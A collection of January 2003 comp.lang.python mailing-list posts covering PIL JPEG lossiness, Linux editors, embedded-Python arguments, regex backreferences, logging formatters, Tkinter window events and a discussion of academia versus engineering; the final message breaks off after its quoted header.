From: kevin at cazabon.com (Kevin@Cazabon.com)
Date: Tue, 07 Jan 2003 23:47:36 GMT
Subject: PIL JPEG pixel problem
References: <df392399.0301070946.5455fd55@posting.google.com>
Message-ID: <sGJS9.277854$qF3.24932@sccrnsc04>

As the others have said, JPEG is lossy.

You'll get closer to the original result by specifying "quality=100" in the
save method, but the only way to get EXACTLY what you want is to use a
non-lossy format.

(i.e. x.save("c:\asdf.jpg", quality=100)  )

Kevin.


"Mark" <itcram at yahoo.com> wrote in message
news:df392399.0301070946.5455fd55 at posting.google.com...
> I'm having problems changing the pixels in a .jpg file.
>
> >>>import Image
> >>> x = Image.open('te.jpg')
> >>> x.getpixel((0,0))
> (255, 255, 255)
> >>> x.putpixel((0,0),(100,150,165))
> >>> x.save('asdf.jpg')
> >>>
> >>> x = Image.open('asdf.jpg')
> >>> x.getpixel((0,0))
> (146, 146, 146)
>
> When I open it up after changing the pixels they are I get totally
> different pixels from (100,150,165) to (146,146,146).  I've tried
> using the different options in the save() method(not all possible
> combonations), but they always are different.  Does anyone know how I
> can fix this?
>
> Thanks!





From peter at engcorp.com  Sat Jan  4 10:52:23 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 04 Jan 2003 10:52:23 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08> <3E16D77F.1060209@tiscali.co.uk>
Message-ID: <3E170337.9513C77D@engcorp.com>

Paddy wrote:
> Steve Holden wrote:
> > "Peter Hansen" <peter at engcorp.com> wrote ...
> >>I've found I rely on fewer and fewer special functions in my editors,
> >
> > You have, of course, neatly encapsulated many of the advantages of being an
> > old fart. Welcome to the club!
> 
> Whilst I too have many years of editing text files, it IS a young industry, 
> you DO have to keep abreast of the changes 

Why?

I find that there are so many changes in so many areas that I'm much
better off skipping most of them.  Many are flashes-in-the-pan anyway,
and relatively few provide any significant productivity improvements
over what we already use.

Okay, by saying I skip most, I'm admitting I don't skip some, so obviously
I agree that you need to keep abreast of _some_ changes... but do you
really think you need to watch *every* change that comes by?  No one
has the time!

-Peter



From n17999924.temp.werner at neverbox.com  Thu Jan 30 12:52:56 2003
From: n17999924.temp.werner at neverbox.com (Werner Schiendl)
Date: Thu, 30 Jan 2003 18:52:56 +0100
Subject: How can I pass command line arguments when python is embedded ???
In-Reply-To: <oprjtp9hlmmb24ka@news>
References: <6Fc_9.4158$nD1.958914@news20.bellglobal.com> <oprjtp9hlmmb24ka@news>
Message-ID: <oprjtqmip6mb24ka@news>

Hi,

sorry, I missed the "when python is embedded" because it was not visible in 
the message overview.

To setup sys.argv, you use the function PySys_SetArgv after Py_Initialize.

See Modules/main.c in the Python Source distribution on how to do it.

best regards
Werner


On Thu, 30 Jan 2003 18:45:07 +0100, Werner Schiendl 
<n17999924.temp.werner at neverbox.com> wrote:

> Hi,
>
> you find the command line parameters in sys.argv
>
> e. g.
>
> import sys
>
> for arg in sys.argv:
> print arg
>
> The first item is the name of the script, the remainder are the 
> parameters.
>
> hth
> Werner
>
>
> On Thu, 30 Jan 2003 11:51:32 -0500, Luc <acid_til at yahoo.com> wrote:
>
>> Hello fellow Python users :)
>>
>> Like the subject says, how can I do it ??? What I want to do is pass a 
>> number to the python script file that is to be used to determined when 
>> to load from a database.
>>
>> Thanks in advance for any help.
>>
>> Luc.
>>
>>
>
>
>





From peter at engcorp.com  Fri Jan 10 12:52:32 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Jan 2003 12:52:32 -0500
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl>
Message-ID: <3E1F0860.843F9142@engcorp.com>

read-the-signature at send-spam-to-dev-null.com wrote:
> 
> I'm struggling a little with backreferences in the re-module. I read the
> docs and browsed the web but didn't find a solution for my problem yet. The
> idea is simple: given a line with punctuation, separate the punction from
> the word it is 'attached' to. For example:
> 
>     "Hello, how are you today?"
> 
> would become
> 
>     "Hello , how are you today ?"
> 
> I've been strugglin' with it for about half an hour. Guess it's time to ask
> for help :) Any suggestions?

Does something like this help?

>>> re.sub(r'([^,?])(([,?]))', r'\1 \2', 'Hello, how are you?')
'Hello , how are you ?'

Not really general-purpose, but it works on the example you gave and maybe
that's as complex as you need...

No backreferences, either, I guess. ;-)

-Peter



From Jens.Bloch.Helmers at dnv.com  Wed Jan  8 03:16:25 2003
From: Jens.Bloch.Helmers at dnv.com (Jens Bloch Helmers)
Date: 08 Jan 2003 09:16:25 +0100
Subject: Starting a python GUI from another python GUI.
Message-ID: <ur8bo12g6.fsf@dnv.com>

I'm trying to launch a python GUI from another python program
using the command:

     os.system('pythonw GUIapp.py')

but an unnecessary console window pops up when the above statement is
executed despite the use of pythonw.exe instead of python.exe.
A funny thing is that no console window appear if the above statement
is executed from a non-GUI python script.

What is the best way to launch a stand-alone python GUI from another
python GUI? (Without console windows...)

(I'm using python2.2.2 / winXP / wxpython2.3.4.2)

Jens
Python Newbie



From tim.one at comcast.net  Mon Jan 13 12:19:27 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 13 Jan 2003 12:19:27 -0500
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
In-Reply-To: <avuriu$e55$0@216.39.172.122>
Message-ID: <BIEJKCLHCIOIHAGOKOLHAEKHEHAA.tim.one@comcast.net>

[Bengt Richter]
> Has anyone taken a measure of exactly how "minor" it really would be?
>
> I.e., it should be simple to instrument ceval.c to extern link to
> a temp module with an integer array indexed by byte code value to
> increment for statistics. ...

Search the code base for uses of DYNAMIC_EXECUTION_PROFILE.  Facilities are
there for getting accounts of both single bytecode dynamic frequency, and of
bytecode pair dynamic frequency.

As to whether it's "minor" or not, of course it depends on the exact
programs you're measuring.  There's never been a good reason to believe this
one isn't minor <wink>.





From stevenn at outerthought.org  Wed Jan 22 09:34:18 2003
From: stevenn at outerthought.org (Steven Noels)
Date: Wed, 22 Jan 2003 15:34:18 +0100
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <15918.42917.203377.862983@montanaro.dyndns.org>
References: <004b01c2c16c$ef26c780$21795418@dell1700>        <3E2E947D.7050600@outerthought.org> <15918.42917.203377.862983@montanaro.dyndns.org>
Message-ID: <3E2EABEA.4050405@outerthought.org>

Skip Montanaro wrote:

>     Steven> I'm trying to wrap things in order to make it feel less
>     Steven> XMLRPC'ish:
> 
> I'm coming in late to this thread, but use XML-RPC all the time.  Other than
> the initial setup of a server proxy and the fact that XML-RPC can't quite
> pass all Python data types, can you describe what "XMLRPC'ish" is?

Having to pass in xmlrpclib.DateTime objects into certain methods, and 
this 'server object' that is hanging around in your logic which I don't 
like. But I'm a newbie, so my taste might be wrong. My client code looks 
like this right now:

page = Page('Main', 'http://wiki.cocoondev.org/RPC2/')
pageInfo = page.retrievePageInfo()
version = page.getVersion()
author = page.getAuthor()
lastModified = page.getlastModified()

twodays = 60*60*24*2
twodaysago = time.gmtime(time.time() - twodays)
changes = RecentChanges('http://wiki.cocoondev.org/RPC2/')
rc = changes.getRecentChanges(twodaysago)

rc being a dictionary of a sequence of built-in types with a proper 
lookup key rather than a list of dictionary objects which the default 
xmlrpclib creates for an XMLRPC array.

But as I said, this is my first venture into Python programming, so do 
not hesitate to nail me down :)

</Steven>
-- 
Steven Noels                            http://outerthought.org/
Outerthought - Open Source, Java & XML Competence Support Center
Read my weblog at            http://blogs.cocoondev.org/stevenn/
stevenn at outerthought.org                stevenn at apache.org





From dsavitsk at ecpsoftware.com  Fri Jan 31 02:38:03 2003
From: dsavitsk at ecpsoftware.com (dsavitsk)
Date: Fri, 31 Jan 2003 07:38:03 GMT
Subject: ActiveX Spy utility?
References: <dvo_9.3024$0L3.2150473@news2.news.adelphia.net>
Message-ID: <vJp_9.323$HG6.167307@newssrv26.news.prodigy.com>

Robert Oschler wrote:
> Has anybody seen a utility that will let you see the calls being made by an
> ActiveX control client?  For an ActiveX control client where you don't have
> the source for the client.  Something for ActiveX calls that would be like
> the MSVC studio Spy++ utility does for Windows API calls.

Assuming this is a Python related question, look into the trace 
collector utility in pythonwin.  this lets you see calls to python com 
servers when the are registered with the --debug flag.  so, something 
like ActiveX controls in VB calling Python COM servers would be viewable.

-d




From mertz at gnosis.cx  Fri Jan  3 02:04:48 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 03 Jan 2003 02:04:48 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <x7k7hn7yul.fsf@guru.mired.org>
Message-ID: <QYTF+kKkXUQT092yn@gnosis.cx>                       

|"Samuele Pedroni" <pedronis at bluewin.ch> writes:
|> 1) You can think about operators as multimethods vs. __add__ __radd__ .

Mike Meyer <mwm at mired.org> wrote previously:
|The interesting question this brings up is how replacing the current
|set of rules by a true multiple dispatch mechanism would change adding
|types/methods to the existing type lattice. Anyone have any thoughts
|on that?

I'm not sure I understand why much anything would have to change.  My
'lexicographic_mro()' and 'weighted_mro()' linearizations utilize the
existing method resolution order (object.mro()) for the heavy work.
What improvement would a change to this offer?

Of course, the way I set up my sample, it is simple to plug in your
favorite linearization technique.  This is a rough area in my knowledge,
so I'm not religious in my preference for a particular style.

Yours, David...

--
 mertz@   _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i
gnosis  _/_/                    Postmodern Enterprises         _/_/  s r
.cx    _/_/  MAKERS OF CHAOS....                              _/_/   i u
      _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/    g s





From geoff at gerrietts.net  Tue Jan  7 13:04:09 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Tue, 7 Jan 2003 10:04:09 -0800
Subject: Best Python editor (under Linux)
Message-ID: <20030107180409.GA9548@isis.gerrietts.net>

I don't want to add fuel to an already outrageous fire, but the issue
is of some interest to me.

Comments on the Issue at Hand
-----------------------------
  I use vim (gvim), because I'm very productive with it, and not so
  productive when I've tried to use emacs. That's mostly due to habit,
  I'm sure.

  I always recommend to new people that they learn only enough vi to
  get by, and learn emacs as their first real editor. I don't think
  emacs is better, but I do think that emacs is a lot more accessible
  to people raised on Notepad and Word. Often, I will recommend that
  people learn pico first, just to have something they can get work
  done in while trying to get emacs under their fingers.

  I have a .emacs file that I carry around with me, just so I can help
  people like that get started. It's not great, because I don't use
  emacs regularly, but it gets the job done, gets them started. So
  far, of the people I've tried to help that way, only one continues
  to use emacs regularly. The rest were unswayed by my argument that
  emacs was as good, and chose to learn vim. I don't understand why;
  my bias may be distorting my message.

  I have lots of gimmicks for vim, and use lots of its features. It's
  a large editor now, doing syntax highlighting and reasonably good
  auto-indentation, and extensible. All these things add up to weaken
  any argument I might make that gvim is smaller, or more focussed,
  than emacs: both have expanded to fill much of the same area. While
  emacs certainly has more plumbing, gvim is no longer the svelte
  beast that was once vi. I won't be the one to throw stones....

My Particular Interest (Help Please!)
-------------------------------------
  Now, I've said that I don't recommend you follow me down the vim
  path, because I think emacs is more accessible and pretty much
  equivalent in the power department. But let's assume you have, and
  you use vim under X (gvim) pretty regularly. Let's also assume that
  your vim has python support compiled in, and you're on vim 6.0 or
  better.

  A few months ago, I downloaded the python.vim files from
  sourceforge, and I've since modified them to do their job better.
  I've (I think) improved the IM-Python menu considerably, and I have
  gvim hiding and displaying the Python/IM-Python menus when you
  switch into a buffer that isn't Python.

  And I need people to help me test it. I've already handed the files
  out to all my friends, but not all of us are working in Python every
  day. Meanwhile, the Python I get to work on isn't terribly OO, so
  I'm a little concerned that different styles might break the code.

  So, if you're the sort of person who uses gvim, and you're
  interested in playing around with this, please drop me an email.
  I'll ship you a tarball and install instructions (trivial) and we'll
  see how it goes! (Windows users are welcome, too, it appears to work
  for me there!)

Thanks,
--G.

-- 
Geoff Gerrietts             "People talk fundamentals and superlatives 
<geoff at gerrietts net>     and then make some changes of detail." 
http://www.gerrietts.net                  --Oliver Wendell Holmes Jr




From Kyler at news.Lairds.org  Sat Jan 11 18:53:37 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 23:53:37 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <mailman.1042258221.18149.python-list@python.org> <5tq5f-8k3.ln1@news.lairds.org> <avpnem$mu1$1@slb0.atl.mindspring.net>
Message-ID: <jil6f-6ug.ln1@news.lairds.org>

Andrew Dalke <adalke at mindspring.com> writes:

>>>Sure.  For example, finding the last component of a path expression, in
>>>order to isolate the file name, is a common application.

>> That's readily done using simple REs without depending on this
>> behavior.

>The simple re is

> >>> import re
> >>> pat = re.compile(r"(/([^/]+)*)+")
> >>> pat.match("/home/dalke/tmp/whatever.txt").group(2)
>'whatever.txt'

What's the problem with something simpler like this?
	/([^/]+)$

>If I understand you rightly, you would want to use the same
>re to get all the filename matches, eg, so that 'allmatches(2)'\
>(or somesuch) would return ['home', 'dalke', 'tmp', 'whatever.txt']

That'd be great, yes.

>Again, I see your point in that the interface to regexp results
>isn't as powerful as it could be.  I still think your proposed
>inteface isn't itself powerful enough.

It would satisfy my immediate need and make the statement "the
contents of a group can be retrieved after a match has been
performed" true.

>Now in your case, you want to advocate Python for people who
>haven't learned other languages.  In other words, for people
>who are not programmers.  This is a new criteria, since you
>hadn't mentioned it before.

I want the documentation, each piece of it, to stand on its
own.  That does not change simply because the reason I am most
concerned about it is primarily for the benefit of new users.

>With that additional information, I'll suggest that regular
>expressions are not for the faint of heart nor for just about
>every new programmer.

O.k., in that case it's fine to have misleading information in
the documentation.  It'll be a "rite of passage" for Python
programmers to stumble over such things.  'should keep out the
riff-raff.

--kyler



From max at alcyone.com  Tue Jan  7 22:06:25 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Jan 2003 19:06:25 -0800
Subject: Unicode error: ASCII encoding error. Ordinal not in range(128) ???
References: <%WFS9.8062$CG6.157588@news4.e.nsc.no>
Message-ID: <3E1B95B1.90B695F3@alcyone.com>

Thomas Weholt wrote:

> I'm working with RSS/RDF-feeds and get the above mentioned error. How
> can I
> detect and/or avoid this error, when parsing/working with strings??

You get this error when you try to use a Unicode string as just a
normal, non-wide string, and the Unicode string contains non-ASCII
characters.  In this case there is no "right" way for it be handled; you
have to make a conscious choice of how you want the conversion done.

This is mentioned in the FAQ.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nobody can reach me, nobody can touch me; it's a wonderful feeling.
\__/ Aaliyah
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From throwaway at mit.edu  Mon Jan 27 22:21:45 2003
From: throwaway at mit.edu (Alex Coventry)
Date: 27 Jan 2003 22:21:45 -0500
Subject: emacs python mode problem
References: <c3835e5f.0301271901.546be815@posting.google.com>
Message-ID: <878yx6rmba.fsf@mit.edu>

> However, when editing python files, from time to time the indentation
> falls back to 8 spaces. Anyone have an idea as to why this may be
> happening?

i believe python-mode attempts to guess the indentation used in the
currently visited file.  when this happens, you may want to check
whether the file you're visiting already has any indentations 8 spaces
deep.

alex.



From lac at strakt.com  Sun Jan  5 14:23:38 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 20:23:38 +0100
Subject: new years resolutions 
In-Reply-To: Message from mis6@pitt.edu (Michele Simionato) 
   of "05 Jan 2003 10:11:01 PST." <2259b0e2.0301051011.5ba2ff3e@posting.google.com> 
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org> <2259b0e2.0301051011.5ba2ff3e@posting.google.com> 
Message-ID: <200301051923.h05JNcjL025876@ratthing-b246.strakt.com>

> On Sat, 2003-01-04 at 11:05, Laura Creighton wrote:
> 
> > I don't think that dividing 'csc == software' and 'engineering ==
> > hardware' is the best possible way to distinguish between them.  A
> > more useful question, I believe, is 'do you hunger to build things, or
> > just to think about them'?  (Some people do both about equally, of
> > course.)  The distinction is important for people who are considering
> > getting a degree in computer science.  Some of them do quite badly at
> > it because what they want is a degree that will help them build the
> > programs they dream of creating, and instead they are persuing a
> > degree that will help them think about thoughts they have no interest
> > in thinking. This is a very bad fit.
> 
> <snip>
> 
> >  my life would have run an awful lot easier if I had understood
> >  when accepted to both Science and Engineering schools, that the fact
> >  that I like building things was significant.  I suppose I was expected
> >  to figure this one out for myself, but I didn't ...
> 
> Laura, are you saying that engineering types like building things more
> than CS types ? This sounds like a surprise to me. I mean, I don't know
> about CS types since I never had a CS education, nevertheless I know
> very well the academic type in Mathematics or Physics (I am part of this
> "mala genia" :) and I think there is not such a big difference.

No, what I am saying is that if you _really_ like to build things you
may find pure csc fairly frustrating, because there isn't enough
emphasis on building things.  Physics is something else altogether...

> I did Physics because I like to build things. I did not choose engineering
> because I had the impression (maybe wrong) that once you work in the 
> industry,
> as opposite to academy, you have to build ininteresting things or, in
> other words, you have to solve boring problems. For me, a problem is boring 
> when I know how to solve it. Since I don't like to build twice the same 
> thing  I
> tried to avoid the industry until now and I have no problems with the 
> academia
> (except, of course in finding a permanent position :-/).

Good luck to you.

> In my view the difference between CS types and engineering types is not 
> if they like to build things or think about things (you would admit that
> even an engineer can think about things ;-). The difference is if you like 
> abstractions and out-of-the-world concepts or if you prefer *concrete* things
> .
> If you are more concrete, you are more likely an engineering type, if you
> are more theoretical, you are more likely a CS type.

This may be the difference, but I don't think so.  I think that people
who think that abstract thinking is superior to concrete thinking
perpetuate the belief that science is some how 'pure' and that the
rest is 'mere engineering'.  (Unless you are a mathematician, in which
case you sometimes think 'there is math' ... and there is 'mere science'.)
I know a lot of people who can handle a huge amount of abstract thinking
once you tell them _why it is useful_ and _what you can build with it_.
If you skip that step, they file your lecture away under 'more
useless garbage that I have to memorize to get my degree'.  The fact
that it is beautiful in itself does not register at all.  That is just
the way it is.

> Of course the notion of "concreteness" depends on your background and
> experience. For instance, to me metaclasses are rather concrete and very 
> little abstract, if I compare them with the conceptual tools I routinely
> use. But I am sure for the average programmer they are a rather abstract 
> concept.
> 
> Now, if I may ask a personal question, what you didn't like in science/academ
> ia ?

This is just off the top of my head....

1. preoccupation with cleverness as opposed to wisdom
2. giving the job of 'preparing people for industry' to people who have
   mostly never been there.
3. believing that teaching is something that comes naturally.  No effort
   is made to train professors on how to teach well.  This is a trainable
   skill.
4. in some places -- forcing people to teach so that you cannot simply do
   research all the time if you hate teaching.  in other places, getting
   rid of or valuing less the great teachers, because their research isn't
   so hot.  Many places do both, of course.
5. Greedily embracing the notion that 'a university education is for
   everyone' because it means more funding, reguardless of what it means
   for would-be academics who now usually have to wait until they get
   to grad school -- or now in some fields a postdoc before they can do 
   anything truly original.  That is too long a wait.
6. Classroom teaching as opposed to Master/Apprentice type relationships.
7. Preoccupation with novelty, and originality, as opposed to soundness.
8. The complete disreguard of 'good workmanship' as the counterpart to
   'sound design'.  These days people are likely to learn that the work
   is good because it was 'designed well', as opposed to the fact that
   one of many good designs was selected -- the result was good because
   _the workmanship was good_.  (Good workmanship cannot save a really
   rotten design, unfortunately.)
9. A life focused on Grading people.  Making grades, not knowledge or
   wisdom the important centre of the universe.
10. (in some places) The notion that only the top 10% matter -- the
    rest can all go hang.
11. The belief that business is somehow demeaning.
12. The belief that business is somehow superior. 
13. Too many fools.
14. Too swollen egos.
15. The furthering of the belief that Art is merely entertainment.
16. The furthering of the belief that it is a good idea to appear
    better than you really are.
17. Too many people who feel they have the right to be contemptuous of others.
18. Too much paperwork.
19. Too much specialisation within a given field.
20. Not enough play.
21. Really boring textbooks written by people who cannot write.
22. An over-reliance on analytical as opposed to geometric methods.
23. Avoidance of risk.
24. Avoidance of beauty.
25. Focusing on that which can be measured (in itself a good thing, and
    the secret of Western success) but not to the extent where that
    which cannot be measured is deemed unimportant, or even non-existant.
26. Students who sit like turnips in your lectures.

I'll stop now.  I am sure you will get plenty more answers from other
people.

Laura




From LogiplexSoftware at earthlink.net  Wed Jan 15 12:16:40 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 09:16:40 -0800
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEKEDIAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEKEDIAB.tim.one@comcast.net>
Message-ID: <1042650999.27819.51.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 20:52, Tim Peters wrote:
> That doesn't mean he won't be sued <wink>.

But no one's asked if he *should* be sued.

I think he should, so at least we would have a definitive reference on
these sort of issues.  We could simply point people at case #2143214 and
be done with it.

If the PSF wins, they get all their icons back, plus Mike has to draw a
new one for damages.

If Mike wins, he gets unrestricted access to all PSF icons and the PSF
is restricted from innovating new icons unless they allow users the
chance to create their own.  Icon "bundling" will be explicitly
disallowed.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From mwh at python.net  Fri Jan 31 10:32:39 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 15:32:39 GMT
Subject: Which exception has been used? (was: Which exception to use?)
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> <v3jak3of0o8ga2@corp.supernews.com>
Message-ID: <7h3r8atwd21.fsf@pc150.maths.bris.ac.uk>

claird at lairds.com (Cameron Laird) writes:

> Suppose, as is always true, though, that I'm dealing
> with modules not under my control.  How do I catch
> "other"?  There must be something I'm missing about
> the new type and exception systems, 'cause I don't 
> see a Pythonic way to write
>   ....
>   except OTHER, e:
>       # The foreign code threw an exception of
>       #    a type I don't recognize, but I need
>       #    to process/log/... 'e'.
>       cope(e)
> Yes, I can write
>   ....
>   except:
>       cope()
> but then I've lost the information I want in 'e'.

>>> class C:
...  pass
... 
>>> raise C
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: exceptions must derive from Exception

Nah, I made that up.  I do wonder if it should be enforced, though.

I would say that if the library you're using raises exceptions that
aren't derived from Exception the proper solution involves physical
discomfort for the author of the library.

Cheers,
M.

-- 
  : Giant screaming pieces of excrement, they are.
  I have a feeling that some of the people in here have a 
  MUCH more exciting time relieving themselves than I do.
                                       -- Mike Sphar & Dave Brown, asr



From rjones at ekit-inc.com  Sat Jan 18 21:33:52 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Sun, 19 Jan 2003 13:33:52 +1100
Subject: logging: How do you change the format?
In-Reply-To: <20030118203116702-0500@braeburn.themorgue.org>
References: <20030118203116702-0500@braeburn.themorgue.org>
Message-ID: <200301191333.52374.rjones@ekit-inc.com>

On Sun, 19 Jan 2003 12:31 pm, Kevin Smith wrote:
> I've been playing around with the logging package in Python 2.3.  The
> documentation is pretty skimpy on the examples and there are no examples
> on how to change the format of the messages.  Can someone "in the know"
> please post an example of how to do this?  Thank you.

You will need to create your own Formatter class, and attach it to a Handler. 
I think. If you can figure a way to get access to your Handler, you can call 
setFormatter() on it. There doesn't appear to be any way to _remove_ handlers 
though, apart from "logger.handlers = []".

I'm still trying to figure a sane way to use the thing. My current setup (very 
much in development) is looking like:


# at the top of the main file
from logging import logger


# when I have successfully determined what the logging configuration
# should be (from command-line or config file), I can call:
def configureLogging(log_file=None, log_level=None):
    ''' Configure the (global) logger using variables from the (global)
        config.

	Config items used:
         log_file  - the file to log to
         log_level - the level of message to log
    '''
    if log_file is None:
        log_file = config['log_file']
    if log_level is None:
        log_level = config['log_level']
    # XXX confirm we have valid log_file and log_level

    logging._acquireLock()
    try:
        # clear out current handler
        logger.handlers = []
        hdlr = FileHandler(log_file)
        hdlr.setFormatter(Formatter('%(asctime)s %(level)s %(message)s'))
        logger.addHandler(hdlr)
        logger.setLevel(log_level)
    finally:
        logging._releaseLock()


# now at the very start of the script, we do this so messages will make it
# to the console
logger.basicConfig()


I'd really like to see a top-level function in the logging module:

def configureLogging(file, level=INFO):
    ''' Configure the root logger to log to "file"
    '''

since that's probably the most common usage.


       Richard





From skip at pobox.com  Fri Jan  3 10:03:14 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 3 Jan 2003 09:03:14 -0600
Subject: Python soon to develop goto ?
In-Reply-To: <3E1592FD.2090905@users.snip.snip.ch>
References: <3E1592FD.2090905@users.snip.snip.ch>
Message-ID: <15893.42546.291276.215007@montanaro.dyndns.org>

    bb> http://www.python.org/2.3/NEWS.html reads :
    >> A frame object's f_lineno attribute can now be written to from a trace
    >> function to change which line will execute next.

My guess is it's for use by debuggers, but it certainly opens up a lot of
possibilities for an obfuscated Python contest...

Skip





From grayrest at grayrest.com  Mon Jan 27 17:23:48 2003
From: grayrest at grayrest.com (grayrest)
Date: Mon, 27 Jan 2003 17:23:48 -0500
Subject: PyXPCOM
In-Reply-To: <b113v7$npt1@rain.i-cable.com>
References: <b113v7$npt1@rain.i-cable.com>
Message-ID: <b14bl7$30$1@news-int.gatech.edu>

shawn wrote:
> I am planning to write a program that use Python, Mozilla and pyxpcom. 
> As I can't find the binary of pyxpcom, I have to compile it for myself. 
> But I don't want to use the costly MSVC. Can anyone can give me a hand? 
> I am used to use the Mingw as my C++ compiler.

I don't think that pyxpcom is being maintained or that it will 
build/work with versions of mozilla built after 4/1/2002 (including your 
version 1.0).

I tried to build it and failed both with 1.0 code and with today's cvs. 
It turns out that it depends on a file xp_core.h which was taken out of 
the tree as seen here: 
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=a8tuc3%245632%40ripley.netscape.com&rnum=2&prev=/groups%3Fq%3Dxp_core.h%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3Da8tuc3%25245632%2540ripley.netscape.com%26rnum%3D2

Further searching shows that the maintainer wasn't really interested in 
keeping it up to date:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=ap1c1n%24ev81%40ripley.netscape.com&rnum=2&prev=/groups%3Fq%3Dpyxpcom%2Bgroup:netscape.public.mozilla.xpcom%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3Dap1c1n%2524ev81%2540ripley.netscape.com%26rnum%3D2

Upgrade to moz 1.3 ;] it's got bayesian spam filtering that works great, 
though recent nightlies have been unstable for me.
-- 
grayrest
http://grayrest.com/moz




From v.wehren at home.nl  Wed Jan  8 14:26:57 2003
From: v.wehren at home.nl (v.wehren)
Date: Wed, 8 Jan 2003 20:26:57 +0100
Subject: iconify/deiconify catches in Tkinter
References: <mailman.1042010114.13709.python-list@python.org>
Message-ID: <avhtku$v7d$1@news1.tilbu1.nb.home.nl>

"Dave Martens" <davemartens at yahoo.com> schrieb im Newsbeitrag
news:mailman.1042010114.13709.python-list at python.org...
> Hi,
>
>   As Tkinter people know, the destroy window
> button (X) on a window can be caught, but I
> cannot find any way to catch the other two
> buttons (iconify and maximize).

Taking a glance at the Tkinter modules would suggest that the protocol
method  is pretty open. So,
one would expect something like: w.protocol("WM_ICONIFY_WINDOW", callback)
wouldn't one?
Alas, doesn't seem to work...(at least not on win32)

- Vincent Wehren

>
> If you ask "why would I want to do that?",
> I probably can't give a rigorous answer so
> suffice to say that I want to do it.
>
> Any advice on how?
>
> I have looked at the documentation I found
> and searched the email archive.
>
> thanks
> Dave
>
>
> __________________________________________________
> Do you Yahoo!?
> Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
> http://mailplus.yahoo.com
>





From tjreedy at udel.edu  Sat Jan 18 18:35:07 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 18 Jan 2003 18:35:07 -0500
Subject: How to convert string to float in Python 1.2
References: <3e29dba4_4@corp.newsgroups.com>
Message-ID: <Rn-dnTBd0sHKebSjXTWcrg@comcast.com>

"Bill Walker" <kwalker at earth1.net> wrote in message
news:3e29dba4_4 at corp.newsgroups.com...
> I'm using Python 1.2 on a ZEOS notebook which runs MS DOS 5.0.
Python 1.5 or
> higher will NOT install in DOS mode.
>
> I have a string that I need to convert to a float.
>
> f = float('1.234')

I believe you have atof() (ascii-to-float) available, either in
builtins or string module.





From fgeiger at datec.at  Sun Jan  5 04:33:13 2003
From: fgeiger at datec.at (F. GEIGER)
Date: Sun, 5 Jan 2003 10:33:13 +0100
Subject: [wxPython] Right alignment in wxTextCtrl?
Message-ID: <3e17fbf1@news.swissonline.ch>

I'd like to create a NumberTextbox class, which differs from the standard
wxTextCtrl in that it right aligns its text (which are numbers, of course).
As I cannot find the right property for achieving this (the Style methods
seem to change the font and its appearance only), I'm afraid I have to
invent something by myself. But before I go into interstion point calcs
and/or string padding or whatever, I'd like to ask, if there's anything I've
missed.

Many thanks in advance for any pointer.
Franz GEIGER






From andrew-pythonlist at puzzling.org  Mon Jan 13 22:48:49 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 14 Jan 2003 14:48:49 +1100
Subject: Finding Clock speed
In-Reply-To: <Xns9302DA4B933EAjslmAAearthlinknet@130.133.1.4>
References: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4> <3E237953.4C787F46@engcorp.com> <Xns9302DA4B933EAjslmAAearthlinknet@130.133.1.4>
Message-ID: <20030114034849.GD27010@frobozz.local>

On Tue, Jan 14, 2003 at 03:27:36AM +0000, Josh wrote:
